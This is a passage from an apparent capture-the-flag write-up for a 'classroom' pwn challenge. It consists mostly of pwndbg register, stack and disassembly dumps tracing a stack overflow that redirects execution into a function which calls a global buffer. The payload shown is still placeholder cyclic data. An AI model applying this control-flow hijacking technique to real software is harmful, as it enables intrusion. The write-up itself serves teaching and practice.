   <span class="mh">0x400914</span> <span class="o">&lt;</span><span class="n">kids_are_not_allowed_here</span><span class="o">+</span><span class="mi">8</span><span class="o">&gt;</span>     <span class="n">lea</span>    <span class="n">rax</span><span class="p">,</span> <span class="p">[</span><span class="n">rip</span> <span class="o">+</span> <span class="mh">0x34d</span><span class="p">]</span>           <span class="n">RAX</span> <span class="o">=&gt;</span> <span class="mh">0x400c68</span> <span class="err">◂—</span> <span class="n">push</span> <span class="n">rdi</span>
   <span class="mh">0x40091b</span> <span class="o">&lt;</span><span class="n">kids_are_not_allowed_here</span><span class="o">+</span><span class="mi">15</span><span class="o">&gt;</span>    <span class="n">mov</span>    <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mi">8</span><span class="p">],</span> <span class="n">rax</span>     <span class="p">[</span><span class="mh">0x7ffe3275dac0</span><span class="p">]</span> <span class="o">=&gt;</span> <span class="mh">0x400c68</span> <span class="err">◂—</span> <span class="n">push</span> <span class="n">rdi</span>
<span class="err">───────────────────────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">STACK</span> <span class="p">]</span><span class="err">───────────────────────────────────────────────────────────────────</span>
<span class="mo">00</span><span class="o">:</span><span class="mo">0000</span><span class="err">│</span> <span class="n">rsp</span> <span class="mh">0x7ffe3275dac8</span> <span class="err">—▸</span> <span class="mh">0x40090c</span> <span class="p">(</span><span class="n">kids_are_not_allowed_here</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">push</span> <span class="n">rbp</span>
<span class="mo">01</span><span class="o">:</span><span class="mo">000</span><span class="mi">8</span><span class="err">│</span>     <span class="mh">0x7ffe3275dad0</span> <span class="err">◂—</span> <span class="mh">0x9090909090909090</span>
<span class="p">...</span> <span class="err">↓</span>        <span class="mi">6</span> <span class="n">skipped</span>
<span class="err">─────────────────────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">BACKTRACE</span> <span class="p">]</span><span class="err">─────────────────────────────────────────────────────────────────</span>
 <span class="err">►</span> <span class="mi">0</span>         <span class="mh">0x400aea</span> <span class="n">kinder</span><span class="o">+</span><span class="mi">410</span>
   <span class="mi">1</span>         <span class="mh">0x40090c</span> <span class="n">kids_are_not_allowed_here</span>
   <span class="mi">2</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">3</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">4</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">5</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">6</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">7</span> <span class="mh">0x9090909090909090</span>
<span class="err">───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────</span>
</code></pre></div></div>

<p>We continue execution into the <code class="language-plaintext highlighter-rouge">kids_are_not_allowed_here()</code> function</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">s</span>
<span class="mh">0x000000000040090c</span> <span class="n">in</span> <span class="n">kids_are_not_allowed_here</span> <span class="p">()</span>
<span class="n">LEGEND</span><span class="o">:</span> <span class="n">STACK</span> <span class="o">|</span> <span class="n">HEAP</span> <span class="o">|</span> <span class="n">CODE</span> <span class="o">|</span> <span class="n">DATA</span> <span class="o">|</span> <span class="n">RWX</span> <span class="o">|</span> <span class="n">RODATA</span>
<span class="err">────────────────────────────────────────────</span><span class="p">[</span> <span class="n">REGISTERS</span> <span class="o">/</span> <span class="n">show</span><span class="o">-</span><span class="n">flags</span> <span class="n">off</span> <span class="o">/</span> <span class="n">show</span><span class="o">-</span><span class="n">compact</span><span class="o">-</span><span class="n">regs</span> <span class="n">off</span> <span class="p">]</span><span class="err">─────────────────────────────────────────────</span>
 <span class="n">RAX</span>  <span class="mh">0x14c</span>
 <span class="n">RBX</span>  <span class="mh">0x7ffe3275dbf8</span> <span class="err">—▸</span> <span class="mh">0x7ffe3275e4f5</span> <span class="err">◂—</span> <span class="err">'</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">kidd</span><span class="o">/</span><span class="n">Desktop</span><span class="o">/</span><span class="n">WORK</span><span class="o">/</span><span class="n">bsides24</span><span class="o">/</span><span class="n">pwn</span><span class="o">/</span><span class="n">classroom</span><span class="err">'</span>
 <span class="n">RCX</span>  <span class="mh">0x7f4054f38a1d</span> <span class="p">(</span><span class="n">read</span><span class="o">+</span><span class="mi">13</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">cmp</span> <span class="n">rax</span><span class="p">,</span> <span class="o">-</span><span class="mh">0x1000</span> <span class="cm">/* 'H=' */</span>
 <span class="n">RDX</span>  <span class="mh">0x14c</span>
 <span class="n">RDI</span>  <span class="mi">0</span>
 <span class="n">RSI</span>  <span class="mh">0x7ffe3275da40</span> <span class="err">◂—</span> <span class="mh">0x9090909090909090</span>
 <span class="n">R8</span>   <span class="mh">0xff00</span>
 <span class="n">R9</span>   <span class="mi">7</span>
 <span class="n">R10</span>  <span class="mi">7</span>
 <span class="n">R11</span>  <span class="mh">0x246</span>
 <span class="n">R12</span>  <span class="mi">0</span>
 <span class="n">R13</span>  <span class="mh">0x7ffe3275dc08</span> <span class="err">—▸</span> <span class="mh">0x7ffe3275e524</span> <span class="err">◂—</span> <span class="err">'</span><span class="n">PWD</span><span class="o">=/</span><span class="n">home</span><span class="o">/</span><span class="n">kidd</span><span class="o">/</span><span class="n">Desktop</span><span class="o">/</span><span class="n">WORK</span><span class="o">/</span><span class="n">bsides24</span><span class="o">/</span><span class="n">pwn</span><span class="err">'</span>
 <span class="n">R14</span>  <span class="mh">0x7f405508c000</span> <span class="p">(</span><span class="n">_rtld_global</span><span class="p">)</span> <span class="err">—▸</span> <span class="mh">0x7f405508d2c0</span> <span class="err">◂—</span> <span class="mi">0</span>
 <span class="n">R15</span>  <span class="mi">0</span>
 <span class="n">RBP</span>  <span class="mh">0x9090909090909090</span>
<span class="o">*</span><span class="n">RSP</span>  <span class="mh">0x7ffe3275dad0</span> <span class="err">◂—</span> <span class="mh">0x9090909090909090</span>
<span class="o">*</span><span class="n">RIP</span>  <span class="mh">0x40090c</span> <span class="p">(</span><span class="n">kids_are_not_allowed_here</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">push</span> <span class="n">rbp</span>
<span class="err">─────────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">DISASM</span> <span class="o">/</span> <span class="n">x86</span><span class="o">-</span><span class="mi">64</span> <span class="o">/</span> <span class="n">set</span> <span class="n">emulate</span> <span class="n">on</span> <span class="p">]</span><span class="err">──────────────────────────────────────────────────────</span>
   <span class="mh">0x400ade</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">398</span><span class="o">&gt;</span>                      <span class="n">cmp</span>    <span class="n">dword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mi">4</span><span class="p">],</span> <span class="mi">0</span>     <span class="mh">0x90909090</span> <span class="o">-</span> <span class="mh">0x0</span>     <span class="n">EFLAGS</span> <span class="o">=&gt;</span> <span class="mh">0x286</span> <span class="p">[</span> <span class="n">cf</span> <span class="n">PF</span> <span class="n">af</span> <span class="n">zf</span> <span class="n">SF</span> <span class="n">IF</span> <span class="n">df</span> <span class="n">of</span> <span class="p">]</span>
   <span class="mh">0x400ae2</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">402</span><span class="o">&gt;</span>                      <span class="n">je</span>     <span class="n">kinder</span><span class="o">+</span><span class="mi">107</span>                  <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">107</span><span class="o">&gt;</span>
 
   <span class="mh">0x400ae8</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">408</span><span class="o">&gt;</span>                      <span class="n">nop</span>    
   <span class="mh">0x400ae9</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">409</span><span class="o">&gt;</span>                      <span class="n">leave</span>  
   <span class="mh">0x400aea</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">410</span><span class="o">&gt;</span>                      <span class="n">ret</span>                                <span class="o">&lt;</span><span class="n">kids_are_not_allowed_here</span><span class="o">&gt;</span>
    <span class="err">↓</span>
 <span class="err">►</span> <span class="mh">0x40090c</span> <span class="o">&lt;</span><span class="n">kids_are_not_allowed_here</span><span class="o">&gt;</span>       <span class="n">push</span>   <span class="n">rbp</span>
   <span class="mh">0x40090d</span> <span class="o">&lt;</span><span class="n">kids_are_not_allowed_here</span><span class="o">+</span><span class="mi">1</span><span class="o">&gt;</span>     <span class="n">mov</span>    <span class="n">rbp</span><span class="p">,</span> <span class="n">rsp</span>                     <span class="n">RBP</span> <span class="o">=&gt;</span> <span class="mh">0x7ffe3275dac8</span> <span class="err">◂—</span> <span class="mh">0x9090909090909090</span>
   <span class="mh">0x400910</span> <span class="o">&lt;</span><span class="n">kids_are_not_allowed_here</span><span class="o">+</span><span class="mi">4</span><span class="o">&gt;</span>     <span class="n">sub</span>    <span class="n">rsp</span><span class="p">,</span> <span class="mh">0x10</span>                    <span class="n">RSP</span> <span class="o">=&gt;</span> <span class="mh">0x7ffe3275dab8</span> <span class="p">(</span><span class="mh">0x7ffe3275dac8</span> <span class="o">-</span> <span class="mh">0x10</span><span class="p">)</span>
   <span class="mh">0x400914</span> <span class="o">&lt;</span><span class="n">kids_are_not_allowed_here</span><span class="o">+</span><span class="mi">8</span><span class="o">&gt;</span>     <span class="n">lea</span>    <span class="n">rax</span><span class="p">,</span> <span class="p">[</span><span class="n">rip</span> <span class="o">+</span> <span class="mh">0x34d</span><span class="p">]</span>           <span class="n">RAX</span> <span class="o">=&gt;</span> <span class="mh">0x400c68</span> <span class="err">◂—</span> <span class="n">push</span> <span class="n">rdi</span>
   <span class="mh">0x40091b</span> <span class="o">&lt;</span><span class="n">kids_are_not_allowed_here</span><span class="o">+</span><span class="mi">15</span><span class="o">&gt;</span>    <span class="n">mov</span>    <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mi">8</span><span class="p">],</span> <span class="n">rax</span>     <span class="p">[</span><span class="mh">0x7ffe3275dac0</span><span class="p">]</span> <span class="o">=&gt;</span> <span class="mh">0x400c68</span> <span class="err">◂—</span> <span class="n">push</span> <span class="n">rdi</span>
   <span class="mh">0x40091f</span> <span class="o">&lt;</span><span class="n">kids_are_not_allowed_here</span><span class="o">+</span><span class="mi">19</span><span class="o">&gt;</span>    <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span> <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mi">8</span><span class="p">]</span>     <span class="n">RAX</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x7ffe3275dac0</span><span class="p">]</span> <span class="o">=&gt;</span> <span class="mh">0x400c68</span> <span class="err">◂—</span> <span class="n">push</span> <span class="n">rdi</span>
<span class="err">───────────────────────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">STACK</span> <span class="p">]</span><span class="err">───────────────────────────────────────────────────────────────────</span>
<span class="mo">00</span><span class="o">:</span><span class="mo">0000</span><span class="err">│</span> <span class="n">rsp</span> <span class="mh">0x7ffe3275dad0</span> <span class="err">◂—</span> <span class="mh">0x9090909090909090</span>
<span class="p">...</span> <span class="err">↓</span>        <span class="mi">7</span> <span class="n">skipped</span>
<span class="err">─────────────────────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">BACKTRACE</span> <span class="p">]</span><span class="err">─────────────────────────────────────────────────────────────────</span>
 <span class="err">►</span> <span class="mi">0</span>         <span class="mh">0x40090c</span> <span class="n">kids_are_not_allowed_here</span>
   <span class="mi">1</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">2</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">3</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">4</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">5</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">6</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">7</span> <span class="mh">0x9090909090909090</span>
<span class="err">───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────</span>
</code></pre></div></div>

<p>Disassemble the <code class="language-plaintext highlighter-rouge">kids_are_not_allowed_here()</code> function</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">disassemble</span> <span class="n">kids_are_not_allowed_here</span> 
<span class="n">Dump</span> <span class="n">of</span> <span class="n">assembler</span> <span class="n">code</span> <span class="k">for</span> <span class="n">function</span> <span class="n">kids_are_not_allowed_here</span><span class="o">:</span>
<span class="o">=&gt;</span> <span class="mh">0x000000000040090c</span> <span class="o">&lt;+</span><span class="mi">0</span><span class="o">&gt;:</span>     <span class="n">push</span>   <span class="n">rbp</span>
   <span class="mh">0x000000000040090d</span> <span class="o">&lt;+</span><span class="mi">1</span><span class="o">&gt;:</span>     <span class="n">mov</span>    <span class="n">rbp</span><span class="p">,</span><span class="n">rsp</span>
   <span class="mh">0x0000000000400910</span> <span class="o">&lt;+</span><span class="mi">4</span><span class="o">&gt;:</span>     <span class="n">sub</span>    <span class="n">rsp</span><span class="p">,</span><span class="mh">0x10</span>
   <span class="mh">0x0000000000400914</span> <span class="o">&lt;+</span><span class="mi">8</span><span class="o">&gt;:</span>     <span class="n">lea</span>    <span class="n">rax</span><span class="p">,[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0x34d</span><span class="p">]</span>        <span class="err">#</span> <span class="mh">0x400c68</span>
   <span class="mh">0x000000000040091b</span> <span class="o">&lt;+</span><span class="mi">15</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x8</span><span class="p">],</span><span class="n">rax</span>
   <span class="mh">0x000000000040091f</span> <span class="o">&lt;+</span><span class="mi">19</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x8</span><span class="p">]</span>
   <span class="mh">0x0000000000400923</span> <span class="o">&lt;+</span><span class="mi">23</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">rdi</span><span class="p">,</span><span class="n">rax</span>
   <span class="mh">0x0000000000400926</span> <span class="o">&lt;+</span><span class="mi">26</span><span class="o">&gt;:</span>    <span class="n">call</span>   <span class="mh">0x400720</span> <span class="o">&lt;</span><span class="n">strlen</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
   <span class="mh">0x000000000040092b</span> <span class="o">&lt;+</span><span class="mi">31</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">rdx</span><span class="p">,</span><span class="n">rax</span>
   <span class="mh">0x000000000040092e</span> <span class="o">&lt;+</span><span class="mi">34</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x8</span><span class="p">]</span>
   <span class="mh">0x0000000000400932</span> <span class="o">&lt;+</span><span class="mi">38</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">rsi</span><span class="p">,</span><span class="n">rax</span>
   <span class="mh">0x0000000000400935</span> <span class="o">&lt;+</span><span class="mi">41</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">edi</span><span class="p">,</span><span class="mh">0x1</span>
   <span class="mh">0x000000000040093a</span> <span class="o">&lt;+</span><span class="mi">46</span><span class="o">&gt;:</span>    <span class="n">call</span>   <span class="mh">0x400700</span> <span class="o">&lt;</span><span class="n">write</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
   <span class="mh">0x000000000040093f</span> <span class="o">&lt;+</span><span class="mi">51</span><span class="o">&gt;:</span>    <span class="n">lea</span>    <span class="n">rdx</span><span class="p">,[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0x2016fa</span><span class="p">]</span>        <span class="err">#</span> <span class="mh">0x602040</span> <span class="o">&lt;</span><span class="n">ans</span><span class="o">&gt;</span>
   <span class="mh">0x0000000000400946</span> <span class="o">&lt;+</span><span class="mi">58</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="mh">0x0</span>
   <span class="mh">0x000000000040094b</span> <span class="o">&lt;+</span><span class="mi">63</span><span class="o">&gt;:</span>    <span class="n">call</span>   <span class="n">rdx</span>
   <span class="mh">0x000000000040094d</span> <span class="o">&lt;+</span><span class="mi">65</span><span class="o">&gt;:</span>    <span class="n">nop</span>
   <span class="mh">0x000000000040094e</span> <span class="o">&lt;+</span><span class="mi">66</span><span class="o">&gt;:</span>    <span class="n">leave</span>
   <span class="mh">0x000000000040094f</span> <span class="o">&lt;+</span><span class="mi">67</span><span class="o">&gt;:</span>    <span class="n">ret</span>
<span class="n">End</span> <span class="n">of</span> <span class="n">assembler</span> <span class="n">dump</span><span class="p">.</span>
</code></pre></div></div>

<p>Set a breakpoint at the <code class="language-plaintext highlighter-rouge">call rdx</code> instruction at <code class="language-plaintext highlighter-rouge">0x000000000040094b</code> and continue execution within the <code class="language-plaintext highlighter-rouge">kids_are_not_allowed_here()</code> funtion. 
 Note our payload buffer intact in the address pointed to by RDX</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">b</span> <span class="o">*</span> <span class="mh">0x000000000040094b</span>
<span class="n">Breakpoint</span> <span class="mi">2</span> <span class="n">at</span> <span class="mh">0x40094b</span>
<span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">c</span>
<span class="n">Continuing</span><span class="p">.</span>

<span class="n">Breakpoint</span> <span class="mi">2</span><span class="p">,</span> <span class="mh">0x000000000040094b</span> <span class="n">in</span> <span class="n">kids_are_not_allowed_here</span> <span class="p">()</span>
<span class="n">LEGEND</span><span class="o">:</span> <span class="n">STACK</span> <span class="o">|</span> <span class="n">HEAP</span> <span class="o">|</span> <span class="n">CODE</span> <span class="o">|</span> <span class="n">DATA</span> <span class="o">|</span> <span class="n">RWX</span> <span class="o">|</span> <span class="n">RODATA</span>
<span class="err">────────────────────────────────────────────</span><span class="p">[</span> <span class="n">REGISTERS</span> <span class="o">/</span> <span class="n">show</span><span class="o">-</span><span class="n">flags</span> <span class="n">off</span> <span class="o">/</span> <span class="n">show</span><span class="o">-</span><span class="n">compact</span><span class="o">-</span><span class="n">regs</span> <span class="n">off</span> <span class="p">]</span><span class="err">─────────────────────────────────────────────</span>
<span class="o">*</span><span class="n">RAX</span>  <span class="mi">0</span>
 <span class="n">RBX</span>  <span class="mh">0x7ffe3275dbf8</span> <span class="err">—▸</span> <span class="mh">0x7ffe3275e4f5</span> <span class="err">◂—</span> <span class="err">'</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">kidd</span><span class="o">/</span><span class="n">Desktop</span><span class="o">/</span><span class="n">WORK</span><span class="o">/</span><span class="n">bsides24</span><span class="o">/</span><span class="n">pwn</span><span class="o">/</span><span class="n">classroom</span><span class="err">'</span>
<span class="o">*</span><span class="n">RCX</span>  <span class="mh">0x7f4054f394e0</span> <span class="p">(</span><span class="n">write</span><span class="o">+</span><span class="mi">16</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">cmp</span> <span class="n">rax</span><span class="p">,</span> <span class="o">-</span><span class="mh">0x1000</span> <span class="cm">/* 'H=' */</span>
<span class="o">*</span><span class="n">RDX</span>  <span class="mh">0x602040</span> <span class="p">(</span><span class="n">ans</span><span class="p">)</span> <span class="err">◂—</span> <span class="err">'</span><span class="n">aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaa</span><span class="err">\</span><span class="n">n</span><span class="err">'</span>
<span class="o">*</span><span class="n">RDI</span>  <span class="mi">1</span>
<span class="o">*</span><span class="n">RSI</span>  <span class="mh">0x400c68</span> <span class="err">◂—</span> <span class="n">push</span> <span class="n">rdi</span>
<span class="o">*</span><span class="n">R8</span>   <span class="mi">4</span>
 <span class="n">R9</span>   <span class="mi">7</span>
 <span class="n">R10</span>  <span class="mi">7</span>
<span class="o">*</span><span class="n">R11</span>  <span class="mh">0x202</span>
 <span class="n">R12</span>  <span class="mi">0</span>
 <span class="n">R13</span>  <span class="mh">0x7ffe3275dc08</span> <span class="err">—▸</span> <span class="mh">0x7ffe3275e524</span> <span class="err">◂—</span> <span class="err">'</span><span class="n">PWD</span><span class="o">=/</span><span class="n">home</span><span class="o">/</span><span class="n">kidd</span><span class="o">/</span><span class="n">Desktop</span><span class="o">/</span><span class="n">WORK</span><span class="o">/</span><span class="n">bsides24</span><span class="o">/</span><span class="n">pwn</span><span class="err">'</span>
 <span class="n">R14</span>  <span class="mh">0x7f405508c000</span> <span class="p">(</span><span class="n">_rtld_global</span><span class="p">)</span> <span class="err">—▸</span> <span class="mh">0x7f405508d2c0</span> <span class="err">◂—</span> <span class="mi">0</span>
 <span class="n">R15</span>  <span class="mi">0</span>
<span class="o">*</span><span class="n">RBP</span>  <span class="mh">0x7ffe3275dac8</span> <span class="err">◂—</span> <span class="mh">0x9090909090909090</span>
<span class="o">*</span><span class="n">RSP</span>  <span class="mh">0x7ffe3275dab8</span> <span class="err">◂—</span> <span class="mh">0x9090909090909090</span>
<span class="o">*</span><span class="n">RIP</span>  <span class="mh">0x40094b</span> <span class="p">(</span><span class="n">kids_are_not_allowed_here</span><span class="o">+</span><span class="mi">63</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">call</span> <span class="n">rdx</span>
<span class="err">─────────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">DISASM</span> <span class="o">/</span> <span class="n">x86</span><span class="o">-</span><span class="mi">64</span> <span class="o">/</span> <span class="n">set</span> <span class="n">emulate</span> <span class="n">on</span> <span class="p">]</span><span class="err">──────────────────────────────────────────────────────</span>
 <span class="err">►</span> <span class="mh">0x40094b</span> <span class="o">&lt;</span><span class="n">kids_are_not_allowed_here</span><span class="o">+</span><span class="mi">63</span><span class="o">&gt;</span>    <span class="n">call</span>   <span class="n">rdx</span>                         <span class="o">&lt;</span><span class="n">ans</span><span class="o">&gt;</span>
        <span class="n">rdi</span><span class="o">:</span> <span class="mi">1</span>
        <span class="n">rsi</span><span class="o">:</span> <span class="mh">0x400c68</span> <span class="err">◂—</span> <span class="n">push</span> <span class="n">rdi</span>
        <span class="n">rdx</span><span class="o">:</span> <span class="mh">0x602040</span> <span class="p">(</span><span class="n">ans</span><span class="p">)</span> <span class="err">◂—</span> <span class="err">'</span><span class="n">aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaa</span><span class="err">\</span><span class="n">n</span><span class="err">'</span>
        <span class="n">rcx</span><span class="o">:</span> <span class="mh">0x7f4054f394e0</span> <span class="p">(</span><span class="n">write</span><span class="o">+</span><span class="mi">16</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">cmp</span> <span class="n">rax</span><span class="p">,</span> <span class="o">-</span><span class="mh">0x1000</span> <span class="cm">/* 'H=' */</span>
 
   <span class="mh">0x40094d</span> <span class="o">&lt;</span><span class="n">kids_are_not_allowed_here</span><span class="o">+</span><span class="mi">65</span><span class="o">&gt;</span>    <span class="n">nop</span>    
   <span class="mh">0x40094e</span> <span class="o">&lt;</span><span class="n">kids_are_not_allowed_here</span><span class="o">+</span><span class="mi">66</span><span class="o">&gt;</span>    <span class="n">leave</span>  
   <span class="mh">0x40094f</span> <span class="o">&lt;</span><span class="n">kids_are_not_allowed_here</span><span class="o">+</span><span class="mi">67</span><span class="o">&gt;</span>    <span class="n">ret</span>    
 
   <span class="mh">0x400950</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">&gt;</span>                          <span class="n">push</span>   <span class="n">rbp</span>
   <span class="mh">0x400951</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">1</span><span class="o">&gt;</span>                        <span class="n">mov</span>    <span class="n">rbp</span><span class="p">,</span> <span class="n">rsp</span>
   <span class="mh">0x400954</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">4</span><span class="o">&gt;</span>                        <span class="n">add</span>    <span class="n">rsp</span><span class="p">,</span> <span class="o">-</span><span class="mh">0x80</span>
   <span class="mh">0x400958</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">8</span><span class="o">&gt;</span>                        <span class="n">mov</span>    <span class="n">dword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mi">4</span><span class="p">],</span> <span class="mi">0</span>
   <span class="mh">0x40095f</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">15</span><span class="o">&gt;</span>                       <span class="n">lea</span>    <span class="n">rax</span><span class="p">,</span> <span class="p">[</span><span class="n">rip</span> <span class="o">+</span> <span class="mh">0x33d</span><span class="p">]</span>              <span class="n">RAX</span> <span class="o">=&gt;</span> <span class="mh">0x400ca3</span> <span class="err">◂—</span> <span class="err">'</span><span class="n">Have</span> <span class="n">a</span> <span class="n">nice</span> <span class="n">day</span><span class="o">!</span><span class="err">\</span><span class="n">n</span><span class="err">'</span>
   <span class="mh">0x400966</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">22</span><span class="o">&gt;</span>                       <span class="n">mov</span>    <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mh">0x10</span><span class="p">],</span> <span class="n">rax</span>
   <span class="mh">0x40096a</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">26</span><span class="o">&gt;</span>                       <span class="n">lea</span>    <span class="n">rax</span><span class="p">,</span> <span class="p">[</span><span class="n">rip</span> <span class="o">+</span> <span class="mh">0x347</span><span class="p">]</span>              <span class="n">RAX</span> <span class="o">=&gt;</span> <span class="mh">0x400cb8</span> <span class="err">◂—</span> <span class="n">push</span> <span class="n">rsi</span> <span class="cm">/* 'Very interesting question! Let me think about it.....' */</span>
<span class="err">───────────────────────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">STACK</span> <span class="p">]</span><span class="err">───────────────────────────────────────────────────────────────────</span>
<span class="mo">00</span><span class="o">:</span><span class="mo">0000</span><span class="err">│</span> <span class="n">rsp</span> <span class="mh">0x7ffe3275dab8</span> <span class="err">◂—</span> <span class="mh">0x9090909090909090</span>
<span class="mo">01</span><span class="o">:</span><span class="mo">000</span><span class="mi">8</span><span class="err">│</span><span class="o">-</span><span class="mo">00</span><span class="mi">8</span> <span class="mh">0x7ffe3275dac0</span> <span class="err">—▸</span> <span class="mh">0x400c68</span> <span class="err">◂—</span> <span class="n">push</span> <span class="n">rdi</span>
<span class="mo">02</span><span class="o">:</span><span class="mo">0010</span><span class="err">│</span> <span class="n">rbp</span> <span class="mh">0x7ffe3275dac8</span> <span class="err">◂—</span> <span class="mh">0x9090909090909090</span>
<span class="p">...</span> <span class="err">↓</span>        <span class="mi">5</span> <span class="n">skipped</span>
<span class="err">─────────────────────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">BACKTRACE</span> <span class="p">]</span><span class="err">─────────────────────────────────────────────────────────────────</span>
 <span class="err">►</span> <span class="mi">0</span>         <span class="mh">0x40094b</span> <span class="n">kids_are_not_allowed_here</span><span class="o">+</span><span class="mi">63</span>
   <span class="mi">1</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">2</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">3</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">4</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">5</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">6</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">7</span> <span class="mh">0x9090909090909090</span>
<span class="err">───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────</span>
</code></pre></div></div>

<p>We resume execution at <code class="language-plaintext highlighter-rouge">call rdx</code> which holds the reference to an address that is storing our payload - which is not valid shellcode yet, just the output of the <code class="language-plaintext highlighter-rouge">cyclic</code> command - and as expected leads to a crash.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">c</span>
<span class="n">Continuing</span><span class="p">.</span>

<span class="n">Program</span> <span class="n">received</span> <span class="n">signal</span> <span class="n">SIGSEGV</span><span class="p">,</span> <span class="n">Segmentation</span> <span class="n">fault</span><span class="p">.</span>
<span class="mh">0x0000000000602040</span> <span class="n">in</span> <span class="n">ans</span> <span class="p">()</span>
<span class="n">LEGEND</span><span class="o">:</span> <span class="n">STACK</span> <span class="o">|</span> <span class="n">HEAP</span> <span class="o">|</span> <span class="n">CODE</span> <span class="o">|</span> <span class="n">DATA</span> <span class="o">|</span> <span class="n">RWX</span> <span class="o">|</span> <span class="n">RODATA</span>
